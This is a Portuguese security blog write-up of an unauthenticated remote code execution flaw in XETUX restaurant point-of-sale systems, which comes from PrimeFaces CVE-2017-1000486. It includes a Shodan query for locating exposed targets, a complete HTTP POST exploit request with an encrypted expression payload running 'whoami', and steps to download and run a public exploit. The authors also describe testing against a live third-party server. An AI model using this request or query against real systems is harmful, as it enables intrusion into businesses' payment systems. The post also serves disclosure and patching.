Da Mesa ao Código: Uma Jornada Através da Vulnerabilidade RCE em POS para Restaurantes

Nesta oportunidade, nos deparamos por acaso com uma vulnerabilidade presente em várias aplicações de POS para restaurantes XETUX, que é uma solução para monitoramento e automação de restaurantes. No Panamá, é uma ferramenta amplamente utilizada por vários restaurantes.

A vulnerabilidade presente é uma RCE (execução remota de código), que permite que atacantes executem códigos de forma não autenticada e ganhem privilégios no alvo.

1. Enumeração

Uma vez que descobrimos a existência de uma biblioteca presente na aplicação Xetux, a biblioteca em questão se chama primefaces, responsável por gerar PDF, decidimos realizar uma busca no shodan para identificar possíveis alvos

http.title:"@XETUX" country:PA

A busca retornou 40 resultados e 334 no mundo

Procedemos a verificar a vulnerabilidade em um dos alvos que não estavam no Panamá, ao analisar os resultados o backend

Podemos observar que a aplicação foi instalada com todos os privilégios nt authoriy\system, vamos explicar o que acontece a seguir:

A aplicação está usando um Apache Tomcat como servidor, para o backend utiliza-se Java, na aplicação usam uma biblioteca ou um plugin de terceiros chamado Primefaces, a rota com o problema é o endpoint javax.faces.resource/dynamiccontent.properties.xhtml

Ao pesquisar sobre tal biblioteca encontramos uma vulnerabilidade, o Primefaces carrega conteúdo dinâmico da seguinte maneira

/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true

O problema se encontra no parâmetro pdfid

pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl

O valor do parâmetro vai criptografado e não há maneira de validar se a requisição será descriptografada corretamente, infelizmente se não modificarem os valores da chave padrão, podem solicitar a geração de uma chave padrão, então felizmente para nós todos os testes realizados mantiveram a chave padrão.

Da mesma forma, poderia ser realizado um ataque Padding Oracle Attack e obter a chave com a Ferramenta Padbuster. A seguir compartilhamos a solicitação

POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643

pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami

2. Reverseshell

Como mencionamos anteriormente, a biblioteca que contém o RCE é o Primefaces, que possui um exploit público CVE-2017-1000486

Testaremos a vulnerabilidade baixando o exploit

git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt

Executamos o exploit

O mesmo nos vai fornecer uma chave e a requisição

Nos devolverá o resultado do comando

Agora vamos proceder para obter a shell reversa, para obter acesso ao servidor:

3. Considerações Finais

• É importante destacar que a falha não se aplica apenas ao software Xetux, a mesma está na biblioteca Primefaces e se encontra em outras aplicações como MaxView Storage Manager e DOCBOX.
• As correções para a vulnerabilidade estão disponíveis há anos, pois a mesma é de 2017, recomenda-se atualizar o Primefaces.
• O acesso ao endpoint é sem autenticação, portanto qualquer um pode realizar requisições, por isso deve-se validar se as requisições são válidas.
• Se utiliza alguma das aplicações mencionadas, compartilhamos o repositório de nuclei com o qual podem verificar se são vulneráveis https://gitlab.com/t0adsec/nuclei-templates
• Responsavelmente informamos aos provedores do aplicativo em seus respectivos países, no entanto até a data não recebemos contato da parte deles.

4. Referências

• XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行漏洞-CSDN博客. (s. f.). https://blog.csdn.net/holyxp/article/details/134402720
• Gobysec. (s. f.). GobyVuls/GobyVuls-Document.md at master · gobysec/GobyVuls. GitHub. https://github.com/gobysec/GobyVuls/blob/master/GobyVuls-Document.md
• Lindner, S. (2018, 26 abril). PrimeFaces Expression Language Remote Code Execution fix. illucIT Software GmbH. https://www.illucit.com/en/java-ee/primefaces-expression-language-remote-code-execution-fix